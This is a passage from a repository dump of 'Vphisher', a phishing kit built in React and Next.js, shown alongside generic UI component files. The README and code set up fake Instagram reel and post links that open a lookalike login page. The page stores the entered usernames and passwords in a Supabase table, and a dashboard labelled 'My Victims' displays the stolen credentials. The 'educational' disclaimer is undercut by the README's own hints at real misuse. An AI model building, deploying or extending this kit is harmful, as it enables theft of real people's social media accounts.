tr]:last:border-b-0",
48 | className
49 | )}
50 | {...props}
51 | />
52 | )
53 | }
54 |
55 | function TableRow({ className, ...props }: React.ComponentProps<"tr">) {
56 | return (
57 |
65 | )
66 | }
67 |
68 | function TableHead({ className, ...props }: React.ComponentProps<"th">) {
69 | return (
70 | [role=checkbox]]:translate-y-[2px]",
74 | className
75 | )}
76 | {...props}
77 | />
78 | )
79 | }
80 |
81 | function TableCell({ className, ...props }: React.ComponentProps<"td">) {
82 | return (
83 | [role=checkbox]]:translate-y-[2px]",
87 | className
88 | )}
89 | {...props}
90 | />
91 | )
92 | }
93 |
94 | function TableCaption({
95 | className,
96 | ...props
97 | }: React.ComponentProps<"caption">) {
98 | return (
99 |
104 | )
105 | }
106 |
107 | export {
108 | Table,
109 | TableHeader,
110 | TableBody,
111 | TableFooter,
112 | TableHead,
113 | TableRow,
114 | TableCell,
115 | TableCaption,
116 | }
117 |
--------------------------------------------------------------------------------
/src/pages/LoginPage.tsx:
--------------------------------------------------------------------------------
1 | import { useState } from 'react';
2 | import { Link, useNavigate } from 'react-router-dom';
3 | import { useAuth } from '@/context/AuthContext';
4 | import { login } from '@/lib/auth';
5 | import { Input } from '@/components/ui/input';
6 | import { Button } from '@/components/ui/button';
7 | import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
8 | import { Label } from '@/components/ui/label';
9 | import { toast } from 'sonner';
10 |
11 | export default function LoginPage() {
12 | const [email, setEmail] = useState('');
13 | const [password, setPassword] = useState('');
14 | const [loading, setLoading] = useState(false);
15 | const navigate = useNavigate();
16 | const { setUser } = useAuth();
17 |
18 | const handleSubmit = async (e: React.FormEvent) => {
19 | e.preventDefault();
20 | setLoading(true);
21 | try {
22 | const user = await login(email, password);
23 | setUser(user);
24 | toast.success('Logged in successfully!');
25 | navigate('/dashboard');
26 | } catch (error: any) {
27 | toast.error(error.message || 'Failed to login.');
28 | } finally {
29 | setLoading(false);
30 | }
31 | };
32 |
33 | return (
34 |
35 |
36 |
37 | Welcome Back!
38 |
39 | Enter your credentials to access your dashboard.
40 |
41 |
42 |
43 |
75 |
76 | Don't have an account?{' '}
77 |
78 | Sign up
79 |
80 |
81 |
82 |
83 |
84 | );
85 | }
86 |
--------------------------------------------------------------------------------
/src/components/ui/form.tsx:
--------------------------------------------------------------------------------
1 | import * as React from "react"
2 | import * as LabelPrimitive from "@radix-ui/react-label"
3 | import { Slot } from "@radix-ui/react-slot"
4 | import {
5 | Controller,
6 | FormProvider,
7 | useFormContext,
8 | useFormState,
9 | type ControllerProps,
10 | type FieldPath,
11 | type FieldValues,
12 | } from "react-hook-form"
13 |
14 | import { cn } from "@/lib/utils"
15 | import { Label } from "@/components/ui/label"
16 |
17 | const Form = FormProvider
18 |
19 | type FormFieldContextValue<
20 | TFieldValues extends FieldValues = FieldValues,
21 | TName extends FieldPath = FieldPath,
22 | > = {
23 | name: TName
24 | }
25 |
26 | const FormFieldContext = React.createContext(
27 | {} as FormFieldContextValue
28 | )
29 |
30 | const FormField = <
31 | TFieldValues extends FieldValues = FieldValues,
32 | TName extends FieldPath = FieldPath,
33 | >({
34 | ...props
35 | }: ControllerProps) => {
36 | return (
37 |
38 |
39 |
40 | )
41 | }
42 |
43 | const useFormField = () => {
44 | const fieldContext = React.useContext(FormFieldContext)
45 | const itemContext = React.useContext(FormItemContext)
46 | const { getFieldState } = useFormContext()
47 | const formState = useFormState({ name: fieldContext.name })
48 | const fieldState = getFieldState(fieldContext.name, formState)
49 |
50 | if (!fieldContext) {
51 | throw new Error("useFormField should be used within ")
52 | }
53 |
54 | const { id } = itemContext
55 |
56 | return {
57 | id,
58 | name: fieldContext.name,
59 | formItemId: `${id}-form-item`,
60 | formDescriptionId: `${id}-form-item-description`,
61 | formMessageId: `${id}-form-item-message`,
62 | ...fieldState,
63 | }
64 | }
65 |
66 | type FormItemContextValue = {
67 | id: string
68 | }
69 |
70 | const FormItemContext = React.createContext(
71 | {} as FormItemContextValue
72 | )
73 |
74 | function FormItem({ className, ...props }: React.ComponentProps<"div">) {
75 | const id = React.useId()
76 |
77 | return (
78 |
79 |
84 |
85 | )
86 | }
87 |
88 | function FormLabel({
89 | className,
90 | ...props
91 | }: React.ComponentProps) {
92 | const { error, formItemId } = useFormField()
93 |
94 | return (
95 |
102 | )
103 | }
104 |
105 | function FormControl({ ...props }: React.ComponentProps) {
106 | const { error, formItemId, formDescriptionId, formMessageId } = useFormField()
107 |
108 | return (
109 |
120 | )
121 | }
122 |
123 | function FormDescription({ className, ...props }: React.ComponentProps<"p">) {
124 | const { formDescriptionId } = useFormField()
125 |
126 | return (
127 |
133 | )
134 | }
135 |
136 | function FormMessage({ className, ...props }: React.ComponentProps<"p">) {
137 | const { error, formMessageId } = useFormField()
138 | const body = error ? String(error?.message ?? "") : props.children
139 |
140 | if (!body) {
141 | return null
142 | }
143 |
144 | return (
145 |
151 | {body}
152 |
153 | )
154 | }
155 |
156 | export {
157 | useFormField,
158 | Form,
159 | FormItem,
160 | FormLabel,
161 | FormControl,
162 | FormDescription,
163 | FormMessage,
164 | FormField,
165 | }
166 |
--------------------------------------------------------------------------------
/src/components/ui/alert-dialog.tsx:
--------------------------------------------------------------------------------
1 | import * as React from "react"
2 | import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog"
3 |
4 | import { cn } from "@/lib/utils"
5 | import { buttonVariants } from "@/components/ui/button"
6 |
7 | function AlertDialog({
8 | ...props
9 | }: React.ComponentProps) {
10 | return
11 | }
12 |
13 | function AlertDialogTrigger({
14 | ...props
15 | }: React.ComponentProps) {
16 | return (
17 |
18 | )
19 | }
20 |
21 | function AlertDialogPortal({
22 | ...props
23 | }: React.ComponentProps) {
24 | return (
25 |
26 | )
27 | }
28 |
29 | function AlertDialogOverlay({
30 | className,
31 | ...props
32 | }: React.ComponentProps) {
33 | return (
34 |
42 | )
43 | }
44 |
45 | function AlertDialogContent({
46 | className,
47 | ...props
48 | }: React.ComponentProps) {
49 | return (
50 |
51 |
52 |
60 |
61 | )
62 | }
63 |
64 | function AlertDialogHeader({
65 | className,
66 | ...props
67 | }: React.ComponentProps<"div">) {
68 | return (
69 |
74 | )
75 | }
76 |
77 | function AlertDialogFooter({
78 | className,
79 | ...props
80 | }: React.ComponentProps<"div">) {
81 | return (
82 |
90 | )
91 | }
92 |
93 | function AlertDialogTitle({
94 | className,
95 | ...props
96 | }: React.ComponentProps) {
97 | return (
98 |
103 | )
104 | }
105 |
106 | function AlertDialogDescription({
107 | className,
108 | ...props
109 | }: React.ComponentProps) {
110 | return (
111 |
116 | )
117 | }
118 |
119 | function AlertDialogAction({
120 | className,
121 | ...props
122 | }: React.ComponentProps) {
123 | return (
124 |
128 | )
129 | }
130 |
131 | function AlertDialogCancel({
132 | className,
133 | ...props
134 | }: React.ComponentProps) {
135 | return (
136 |
140 | )
141 | }
142 |
143 | export {
144 | AlertDialog,
145 | AlertDialogPortal,
146 | AlertDialogOverlay,
147 | AlertDialogTrigger,
148 | AlertDialogContent,
149 | AlertDialogHeader,
150 | AlertDialogFooter,
151 | AlertDialogTitle,
152 | AlertDialogDescription,
153 | AlertDialogAction,
154 | AlertDialogCancel,
155 | }
156 |
--------------------------------------------------------------------------------
/src/pages/SignupPage.tsx:
--------------------------------------------------------------------------------
1 | import { useState } from 'react';
2 | import { Link, useNavigate } from 'react-router-dom';
3 | import { useAuth } from '@/context/AuthContext';
4 | import { signup } from '@/lib/auth';
5 | import { Input } from '@/components/ui/input';
6 | import { Button } from '@/components/ui/button';
7 | import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
8 | import { Label } from '@/components/ui/label';
9 | import { toast } from 'sonner';
10 |
11 | export default function SignupPage() {
12 | const [email, setEmail] = useState('');
13 | const [password, setPassword] = useState('');
14 | const [name, setName] = useState('');
15 | const [loading, setLoading] = useState(false);
16 | const navigate = useNavigate();
17 | const { setUser } = useAuth();
18 |
19 | const handleSubmit = async (e: React.FormEvent) => {
20 | e.preventDefault();
21 | setLoading(true);
22 | try {
23 | const user = await signup(email, password, name);
24 | setUser(user);
25 | toast.success('Account created successfully!');
26 | navigate('/dashboard');
27 | } catch (error: any) {
28 | toast.error(error.message || 'Failed to create account.');
29 | } finally {
30 | setLoading(false);
31 | }
32 | };
33 |
34 | return (
35 |
36 |
37 |
38 | Join Us
39 |
40 | Create your account to unlock full access.
41 |
42 |
43 |
44 |
88 |
89 | Already have an account?{' '}
90 |
91 | Login
92 |
93 |
94 |
95 |
96 |
97 | );
98 | }
--------------------------------------------------------------------------------
/src/components/ui/sheet.tsx:
--------------------------------------------------------------------------------
1 | "use client"
2 |
3 | import * as React from "react"
4 | import * as SheetPrimitive from "@radix-ui/react-dialog"
5 | import { XIcon } from "lucide-react"
6 |
7 | import { cn } from "@/lib/utils"
8 |
9 | function Sheet({ ...props }: React.ComponentProps) {
10 | return
11 | }
12 |
13 | function SheetTrigger({
14 | ...props
15 | }: React.ComponentProps) {
16 | return
17 | }
18 |
19 | function SheetClose({
20 | ...props
21 | }: React.ComponentProps) {
22 | return
23 | }
24 |
25 | function SheetPortal({
26 | ...props
27 | }: React.ComponentProps) {
28 | return
29 | }
30 |
31 | function SheetOverlay({
32 | className,
33 | ...props
34 | }: React.ComponentProps) {
35 | return (
36 |
44 | )
45 | }
46 |
47 | function SheetContent({
48 | className,
49 | children,
50 | side = "right",
51 | ...props
52 | }: React.ComponentProps & {
53 | side?: "top" | "right" | "bottom" | "left"
54 | }) {
55 | return (
56 |
57 |
58 |
74 | {children}
75 | Sheet Title
76 | Sheet Description
77 |
78 |
79 | Close
80 |
81 |
82 |
83 | )
84 | }
85 |
86 | function SheetHeader({ className, ...props }: React.ComponentProps<"div">) {
87 | return (
88 |
93 | )
94 | }
95 |
96 | function SheetFooter({ className, ...props }: React.ComponentProps<"div">) {
97 | return (
98 |
103 | )
104 | }
105 |
106 | function SheetTitle({
107 | className,
108 | ...props
109 | }: React.ComponentProps) {
110 | return (
111 |
116 | )
117 | }
118 |
119 | function SheetDescription({
120 | className,
121 | ...props
122 | }: React.ComponentProps) {
123 | return (
124 |
129 | )
130 | }
131 |
132 | export {
133 | Sheet,
134 | SheetTrigger,
135 | SheetClose,
136 | SheetContent,
137 | SheetHeader,
138 | SheetFooter,
139 | SheetTitle,
140 | SheetDescription,
141 | }
142 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Vphisher
2 | Vphisher is an open-source phishing tool designed to demonstrate the vulnerabilities of social engineering attacks, specifically targeting Instagram reel, post links. It provides a simulated environment to understand how phishing campaigns can be orchestrated and how to protect against them.
3 |
4 |
5 |
6 |
7 | **Disclaimer:** This tool is intended for educational and ethical hacking purposes only. Misuse of this software for illegal activities is strictly prohibited and the developers are not responsible for any such actions.
8 |
9 |
10 |
11 | ## Features
12 |
13 | * **Flexible Link Phishing:** Simulates phishing attacks using convincing link lures, not limited to Instagram reels or posts. With some upgrades, this tool can generate various types of links for social engineering scenarios.
14 | * **Admin Dashboard:** A comprehensive dashboard to:
15 | * Create and manage phishing campaigns.
16 | * Monitor victim interactions and data.
17 | * View detailed statistics.
18 | * **Supabase Integration:** Utilizes Supabase for secure and scalable backend services, including database and authentication.
19 |
20 | ## Technologies Used
21 |
22 | * **Frontend:** React, TypeScript, Vite
23 | * **Backend/Database:** Supabase
24 | * **Styling:** Tailwind CSS
25 | * **Frameworks:** Next.js (for `Instagram-reel-link` sub-project)
26 |
27 |
28 |
29 |
30 | ## Getting Started
31 |
32 | To get a local copy up and running, follow these steps.
33 |
34 | ### Prerequisites
35 |
36 | * Node.js (LTS version recommended)
37 | * npm or yarn
38 | * Git
39 | * A Supabase account
40 |
41 | ### Installation
42 |
43 | 1. **Clone the repository:**
44 | ```bash
45 | git clone https://github.com/vinaytz/Vphisher.git
46 | cd Vphisher
47 | ```
48 |
49 | 2. **Set up environment variables:**
50 | Create a `.env` file in the root directory of the project and in the `Instagram-reel-link` directory.
51 |
52 | For the root `.env` (main admin dashboard):
53 | ```
54 | VITE_SUPABASE_URL=YOUR_SUPABASE_URL
55 | VITE_SUPABASE_ANON_KEY=YOUR_SUPABASE_ANON_KEY
56 | ```
57 |
58 | For `Instagram-reel-link/.env`:
59 | ```
60 | NEXT_PUBLIC_SUPABASE_URL=YOUR_SUPABASE_URL
61 | NEXT_PUBLIC_SUPABASE_ANON_KEY=YOUR_SUPABASE_ANON_KEY
62 | ```
63 | Replace `YOUR_SUPABASE_URL` and `YOUR_SUPABASE_ANON_KEY` with your actual Supabase project credentials.
64 |
65 | 3. **Install dependencies:**
66 |
67 | For the main project (admin dashboard):
68 | ```bash
69 | npm install
70 | # or yarn install
71 | ```
72 |
73 | For the Instagram reel link sub-project:
74 | ```bash
75 | cd Instagram-reel-link
76 | npm install
77 | # or yarn install
78 | cd ..
79 | ```
80 |
81 | ### Running the Application
82 |
83 | 1. **Start the main admin dashboard:**
84 | ```bash
85 | npm run dev
86 | # or yarn dev
87 | ```
88 | The admin dashboard will typically run on `http://localhost:5173` (or another port if 5173 is in use).
89 |
90 | **Example Deployed Dashboard:** [https://vphisher.vercel.app](https://vphisher.vercel.app)
91 |
92 | 2. **Start the Instagram reel link phishing application:**
93 | ```bash
94 | cd Instagram-reel-link
95 | npm run dev
96 | # or yarn dev
97 | cd ..
98 | ```
99 | The phishing application will typically run on `http://localhost:3000`.
100 |
101 |
102 |
103 |
104 | ## How to Use
105 |
106 | 1. **Access the Admin Dashboard:** Once the main application is running, navigate to `http://localhost:5173` (or your configured port) or `https://vphisher.vercel.app` in your web browser.
107 | 2. **Create a Campaign:** Use the dashboard to create a new phishing campaign. You'll be able to specify details for your simulated attack.
108 | 3. **Generate a Fake Link:** The dashboard will generate a unique Instagram reel, post link(that you will enter while creating the link). This is the link you would share in a simulated social engineering scenario.
109 | 4. **Monitor Activity:** The dashboard automatically updates when a victim submits their credentials. you’ll be able to view login data as soon as it's captured.
110 | 5. **Get Victim Credentials:** Review the collected data (username & password) to understand user behavior and identify vulnerabilities or...!!! .
111 |
112 | ## Usage
113 |
114 | * **Admin Dashboard:** Access the dashboard to create new phishing campaigns, generate unique reel, post links, and monitor collected data (username & password).
115 | * **Phishing Application:** Share the generated Instagram links. When a victim clicks the link, they will be redirected to a simulated Instagram login page.
116 |
117 | ## Contributing
118 |
119 | Contributions are welcome! If you have suggestions for improvements, bug fixes, or new features, please open an issue or submit a pull request.
120 |
121 | ## License
122 |
123 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
124 |
125 | ## Contact
126 |
127 | Vinaytz - developervinaytz@gmail.com
128 | Project Link: [https://github.com/vinaytz/Vphisher](https://github.com/vinaytz/Vphisher)
129 |
130 | Ultimately, your social skills are what really count :)
131 | Vphisher 💚
132 |
--------------------------------------------------------------------------------
/src/components/DashboardLayout.tsx:
--------------------------------------------------------------------------------
1 |
2 | import { useState } from 'react';
3 | import { Outlet, Link, useLocation } from 'react-router-dom';
4 | import { useAuth } from '@/context/AuthContext';
5 | import { logout } from '@/lib/auth';
6 | import { Button } from '@/components/ui/button';
7 | import { toast } from 'sonner';
8 | import { useNavigate } from 'react-router-dom';
9 | import { Avatar, AvatarFallback, AvatarImage } from '@/components/ui/avatar';
10 | import { Sheet, SheetContent, SheetTrigger } from '@/components/ui/sheet';
11 | import { LogOut, Link2, Film, Mail, Menu, Users } from 'lucide-react';
12 |
13 | const navLinks = [
14 | { href: '/dashboard/create', label: 'Create Link', icon: Link2 },
15 | { href: '/dashboard/reels', label: 'My Victims', icon: Film },
16 | { href: '/dashboard/submissions', label: 'Submissions', icon: Users },
17 | { href: '/dashboard/connect-me', label: 'Connect Me', icon: Mail },
18 | ];
19 |
20 | function SidebarContent() {
21 | const { user } = useAuth();
22 | const location = useLocation();
23 |
24 | return (
25 |
26 |
27 |
28 |
29 |
Vphisher
30 |
31 |
32 |
33 | {user?.user_metadata.full_name?.charAt(0) || 'A'}
34 |
35 |
{user?.user_metadata.full_name || 'Admin User'}
36 |
Administrator
37 |
38 |
39 | {navLinks.map((link) => (
40 |
49 |
50 | {link.label}
51 |
52 | ))}
53 |
54 |
55 |
58 | Created byVinaytz with 🤍
59 |
60 |
61 |
62 | );
63 | }
64 |
65 | export default function DashboardLayout() {
66 | const { setUser } = useAuth();
67 | const navigate = useNavigate();
68 | const location = useLocation();
69 | const [isSheetOpen, setIsSheetOpen] = useState(false);
70 |
71 | const handleLogout = async () => {
72 | try {
73 | await logout();
74 | setUser(null);
75 | toast.success('Logged out successfully!');
76 | navigate('/login');
77 | } catch (error: any) {
78 | toast.error(error.message || 'Failed to logout.');
79 | }
80 | };
81 |
82 | const getPageTitle = () => {
83 | const path = location.pathname.split('/').filter(Boolean);
84 | if (path.length < 2) return 'Dashboard';
85 | const pageName = navLinks.find(link => link.href.includes(path[1]))?.label;
86 | return pageName || 'Dashboard';
87 | };
88 |
89 | return (
90 |
91 | {/* Desktop Sidebar */}
92 |
95 |
96 |
97 | {/* Header */}
98 |
99 |
100 | {/* Mobile Sidebar Toggle */}
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
{getPageTitle()}
112 |
113 |
114 |
120 | Logout
121 |
122 |
123 |
124 |
125 | {/* Main Content */}
126 |
127 |
128 |
129 |
130 |
131 | );
132 | }
133 |
--------------------------------------------------------------------------------
/src/pages/dashboard/MyVictims.tsx:
--------------------------------------------------------------------------------
1 |
2 | import { useEffect, useState } from 'react';
3 | import { supabase } from '@/lib/supabase';
4 | import { useAuth } from '@/context/AuthContext';
5 | import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
6 | import { Button } from '@/components/ui/button';
7 | import { toast } from 'sonner';
8 | import { Link } from 'react-router-dom';
9 | import { Copy, ExternalLink, Film, PlusCircle } from 'lucide-react';
10 | import { Skeleton } from '@/components/ui/skeleton';
11 |
12 | interface Reel {
13 | id: string;
14 | reelId: string;
15 | redirectUrl: string;
16 | userId: string;
17 | }
18 |
19 | export default function MyReelsPage() {
20 | const { user, loading: authLoading } = useAuth();
21 | const [reels, setReels] = useState([]);
22 | const [loading, setLoading] = useState(true);
23 |
24 | useEffect(() => {
25 | const fetchReels = async () => {
26 | if (!user) return;
27 |
28 | try {
29 | const { data, error } = await supabase
30 | .from('reels')
31 | .select('id, "reelId", "redirectUrl", "userId"')
32 | .eq('userId', user.id);
33 |
34 | if (error) throw error;
35 |
36 | setReels(data as Reel[]);
37 | } catch (error: any) {
38 | toast.error(error.message || 'Failed to fetch ReelIDs.');
39 | } finally {
40 | setLoading(false);
41 | }
42 | };
43 |
44 | if (!authLoading) {
45 | fetchReels();
46 | }
47 | }, [user, authLoading]);
48 |
49 | const copyToClipboard = (reelId: string) => {
50 | const link = `$https://instagram-reels-post.vercel.app/${reelId}`;
51 | navigator.clipboard.writeText(link);
52 | toast.success('Link copied to clipboard!');
53 | };
54 |
55 | if (loading || authLoading) {
56 | return (
57 |
58 | {Array.from({ length: 3 }).map((_, i) => (
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | ))}
71 |
72 | );
73 | }
74 |
75 | if (reels.length === 0) {
76 | return (
77 |
78 |
79 |
Create Your First Reel Link
80 |
You're just a few clicks away from generating a new reel link. Get started now.
81 |
82 |
83 | Create New Reel
84 |
85 |
86 |
87 | );
88 | }
89 |
90 | return (
91 |
92 |
106 |
107 |
108 | {reels.map((reel) => (
109 |
110 |
111 |
112 | {reel.reelId}
113 |
114 |
115 | Redirects to: {reel.redirectUrl}
116 |
117 |
118 |
119 | copyToClipboard(reel.reelId)}
121 | variant="outline"
122 | className="w-full flex items-center justify-center gap-2 text-gray-200 bg-gray-700 hover:bg-gray-600 border-gray-600"
123 | >
124 | Copy Link
125 |
126 |
127 |
131 | Visit Redirect
132 |
133 |
134 |
135 |
136 | View Submissions
137 |
138 |
139 |
140 |
141 | ))}
142 |
143 | );
144 | }
145 |
--------------------------------------------------------------------------------
/Instagram-reel-link/app/[reelId]/page.tsx:
--------------------------------------------------------------------------------
1 | 'use client';
2 | import { useState, useEffect } from 'react';
3 | import { useParams } from 'next/navigation';
4 | import Image from 'next/image';
5 | import { supabase } from '@/app/lib/supabase';
6 |
7 | export default function ReelFormPage() {
8 | const { reelId } = useParams();
9 | const [username, setUsername] = useState('');
10 | const [password, setPassword] = useState('');
11 |
12 | const [loading, setLoading] = useState(true);
13 | const [reelData, setReelData] = useState<{ redirectUrl: string, reelId: string } | null>(null);
14 |
15 | useEffect(() => {
16 | const fetchReelData = async () => {
17 | if (!reelId) return;
18 |
19 | setLoading(true);
20 | const { data, error } = await supabase
21 | .from('reels')
22 | .select('redirectUrl, reelId')
23 | .eq('reelId', reelId as string)
24 | .single();
25 |
26 | if (error || !data) {
27 | console.error('Error fetching reel data:', error);
28 | setReelData(null);
29 | } else {
30 | setReelData(data);
31 | }
32 | setLoading(false);
33 | };
34 |
35 | fetchReelData();
36 | }, [reelId]);
37 |
38 | const handleSubmit = async (e: React.FormEvent) => {
39 | e.preventDefault();
40 |
41 | if (!reelData) {
42 | return;
43 | }
44 |
45 | const { error } = await supabase
46 | .from('submissions')
47 | .insert([
48 | {
49 | "reelId": reelData.reelId,
50 | username,
51 | password,
52 | },
53 | ]);
54 |
55 | if (error) {
56 | console.error('Supabase insert error:', error);
57 | } else {
58 | setUsername('');
59 | setPassword('');
60 | window.location.href = reelData.redirectUrl;
61 | }
62 | };
63 |
64 | if (loading) {
65 | return (
66 |
67 |
{}
68 |
69 |
76 |
77 |
78 |
85 |
86 |
87 | );
88 | }
89 |
90 |
91 | if (!reelData) {
92 | return (
93 |
94 |
95 |
Link Not Found
96 |
The Reel ID "{reelId}" does not exist or is invalid.
97 |
98 |
99 | );
100 | }
101 |
102 |
103 | return (
104 |
105 |
106 | {/* Left */}
107 |
108 |
115 |
116 |
117 |
118 |
119 |
126 |
127 |
149 |
150 |
151 |
152 |
OR
153 |
154 |
155 |
156 |
164 |
165 |
166 |
167 |
Don't have an account?
168 |
Sign up
169 |
170 |
171 |
172 |
Get the app . Android . iOS
173 |
174 |
175 |
176 |
177 |
178 |
179 | );
180 | }
181 |
--------------------------------------------------------------------------------
/src/pages/dashboard/SubmissionsPage.tsx:
--------------------------------------------------------------------------------
1 | import { useEffect, useState, useCallback } from 'react';
2 | import { useParams } from 'react-router-dom';
3 | import { supabase } from '@/lib/supabase';
4 | import { useAuth } from '@/context/AuthContext';
5 | import { Card, CardContent, CardHeader, CardTitle, CardDescription } from '@/components/ui/card';
6 | import { toast } from 'sonner';
7 | import { Skeleton } from '@/components/ui/skeleton';
8 | import { Film, Inbox, User, Calendar, Users } from 'lucide-react';
9 |
10 | interface Submission {
11 | id: string;
12 | reelId: string;
13 | username: string;
14 | password: string;
15 | created_at: string;
16 | reels: {
17 | victim_name: string | null;
18 | } | null;
19 | }
20 |
21 | export default function SubmissionsPage() {
22 | const { reelId } = useParams<{ reelId: string }>();
23 | const { user, loading: authLoading } = useAuth();
24 | const [submissions, setSubmissions] = useState([]);
25 | const [loading, setLoading] = useState(true);
26 |
27 | const fetchSubmissions = useCallback(async () => {
28 | if (!user) {
29 | console.log("User not logged in.");
30 | setLoading(false);
31 | return;
32 | }
33 | setLoading(true);
34 | console.log("Fetching submissions for user:", user.id);
35 |
36 | try {
37 | let query = supabase
38 | .from('submissions')
39 | .select('id, reelId, username, password, created_at, reels(victim_name)');
40 |
41 | if (reelId) {
42 | console.log("Fetching submissions for specific reelId:", reelId);
43 | query = query.eq('reelId', reelId);
44 | } else {
45 | console.log("Fetching all reelIds for user:", user.id);
46 | const { data: reelsData, error: reelsError } = await supabase
47 | .from('reels')
48 | .select('reelId')
49 | .eq('userId', user.id);
50 |
51 | if (reelsError) {
52 | console.error("Error fetching reelIds:", reelsError);
53 | throw reelsError;
54 | }
55 |
56 | const reelIds = reelsData.map((reel) => reel.reelId);
57 | console.log("Fetched reelIds:", reelIds);
58 |
59 | if (reelIds.length === 0) {
60 | console.log("No reelIds found for user.");
61 | setSubmissions([]);
62 | setLoading(false);
63 | return;
64 | }
65 | query = query.in('reelId', reelIds);
66 | }
67 |
68 | const { data, error } = await query.order('created_at', { ascending: false });
69 |
70 | if (error) {
71 | console.error("Error fetching submissions:", error);
72 | throw error;
73 | }
74 |
75 | console.log("Fetched submissions data:", data);
76 | setSubmissions(data as unknown as Submission[]);
77 | } catch (error: any) {
78 | toast.error(error.message || 'Failed to fetch submissions.');
79 | } finally {
80 | setLoading(false);
81 | console.log("Loading set to false.");
82 | }
83 | }, [user, reelId]);
84 |
85 | useEffect(() => {
86 | console.log("SubmissionsPage mounted. Auth loading:", authLoading, "User:", user, "Reel ID from params:", reelId);
87 | if (!authLoading) {
88 | console.log("Auth loading finished, fetching submissions.");
89 | fetchSubmissions();
90 | }
91 | }, [authLoading, fetchSubmissions, user, reelId]);
92 |
93 | if (loading || authLoading) {
94 | return (
95 |
96 | {Array.from({ length: 5 }).map((_, i) => (
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | ))}
110 |
111 | );
112 | }
113 |
114 | return (
115 |
116 |
117 |
118 | {reelId ? : }
119 | {reelId ? 'Submissions for Reel ID' : 'All Submissions'}
120 |
121 |
122 | {reelId ? reelId : 'Showing all submissions from your links.'}
123 |
124 |
125 |
126 | {submissions.length === 0 ? (
127 |
128 |
129 |
No Submissions Yet
130 |
131 | {reelId
132 | ? "This reel link hasn't received any submissions."
133 | : "You don't have any submissions yet. Share your links to get started."}
134 |
135 |
136 | ) : (
137 |
138 | {submissions.map((submission) => (
139 |
140 |
141 |
142 |
143 |
144 |
145 |
Victim: {submission.reels?.victim_name || 'Anonymous'}
146 |
Username: {submission.username}
147 |
Password: {submission.password}
148 |
149 |
150 |
151 |
152 |
153 | {new Date(submission.created_at).toLocaleDateString()}
154 |
155 | {!reelId &&
from: {submission.reelId}
}
156 |
157 |
158 | ))}
159 |
160 | )}
161 |
162 |
163 | );
164 | }
--------------------------------------------------------------------------------
/src/components/ui/dropdown-menu.tsx:
--------------------------------------------------------------------------------
1 | "use client"
2 |
3 | import * as React from "react"
4 | import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"
5 | import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react"
6 |
7 | import { cn } from "@/lib/utils"
8 |
9 | function DropdownMenu({
10 | ...props
11 | }: React.ComponentProps) {
12 | return
13 | }
14 |
15 | function DropdownMenuPortal({
16 | ...props
17 | }: React.ComponentProps) {
18 | return (
19 |
20 | )
21 | }
22 |
23 | function DropdownMenuTrigger({
24 | ...props
25 | }: React.ComponentProps) {
26 | return (
27 |
31 | )
32 | }
33 |
34 | function DropdownMenuContent({
35 | className,
36 | sideOffset = 4,
37 | ...props
38 | }: React.ComponentProps) {
39 | return (
40 |
41 |
50 |
51 | )
52 | }
53 |
54 | function DropdownMenuGroup({
55 | ...props
56 | }: React.ComponentProps) {
57 | return (
58 |
59 | )
60 | }
61 |
62 | function DropdownMenuItem({
63 | className,
64 | inset,
65 | variant = "default",
66 | ...props
67 | }: React.ComponentProps & {
68 | inset?: boolean
69 | variant?: "default" | "destructive"
70 | }) {
71 | return (
72 |
82 | )
83 | }
84 |
85 | function DropdownMenuCheckboxItem({
86 | className,
87 | children,
88 | checked,
89 | ...props
90 | }: React.ComponentProps) {
91 | return (
92 |
101 |
102 |
103 |
104 |
105 |
106 | {children}
107 |
108 | )
109 | }
110 |
111 | function DropdownMenuRadioGroup({
112 | ...props
113 | }: React.ComponentProps) {
114 | return (
115 |
119 | )
120 | }
121 |
122 | function DropdownMenuRadioItem({
123 | className,
124 | children,
125 | ...props
126 | }: React.ComponentProps) {
127 | return (
128 |
136 |
137 |
138 |
139 |
140 |
141 | {children}
142 |
143 | )
144 | }
145 |
146 | function DropdownMenuLabel({
147 | className,
148 | inset,
149 | ...props
150 | }: React.ComponentProps & {
151 | inset?: boolean
152 | }) {
153 | return (
154 |
163 | )
164 | }
165 |
166 | function DropdownMenuSeparator({
167 | className,
168 | ...props
169 | }: React.ComponentProps) {
170 | return (
171 |
176 | )
177 | }
178 |
179 | function DropdownMenuShortcut({
180 | className,
181 | ...props
182 | }: React.ComponentProps<"span">) {
183 | return (
184 |
192 | )
193 | }
194 |
195 | function DropdownMenuSub({
196 | ...props
197 | }: React.ComponentProps) {
198 | return
199 | }
200 |
201 | function DropdownMenuSubTrigger({
202 | className,
203 | inset,
204 | children,
205 | ...props
206 | }: React.ComponentProps & {
207 | inset?: boolean
208 | }) {
209 | return (
210 |
219 | {children}
220 |
221 |
222 | )
223 | }
224 |
225 | function DropdownMenuSubContent({
226 | className,
227 | ...props
228 | }: React.ComponentProps) {
229 | return (
230 |
238 | )
239 | }
240 |
241 | export {
242 | DropdownMenu,
243 | DropdownMenuPortal,
244 | DropdownMenuTrigger,
245 | DropdownMenuContent,
246 | DropdownMenuGroup,
247 | DropdownMenuLabel,
248 | DropdownMenuItem,
249 | DropdownMenuCheckboxItem,
250 | DropdownMenuRadioGroup,
251 | DropdownMenuRadioItem,
252 | DropdownMenuSeparator,
253 | DropdownMenuShortcut,
254 | DropdownMenuSub,
255 | DropdownMenuSubTrigger,
256 | DropdownMenuSubContent,
257 | }
258 |
--------------------------------------------------------------------------------
/src/pages/dashboard/CreateReelPage.tsx:
--------------------------------------------------------------------------------
1 | import { useState, useEffect, useCallback } from 'react';
2 | import { Input } from '@/components/ui/input';
3 | import { Button } from '@/components/ui/button';
4 | import { Card, CardContent, CardHeader, CardTitle, CardDescription } from '@/components/ui/card';
5 | import { Label } from '@/components/ui/label';
6 | import { toast } from 'sonner';
7 | import { supabase } from '@/lib/supabase';
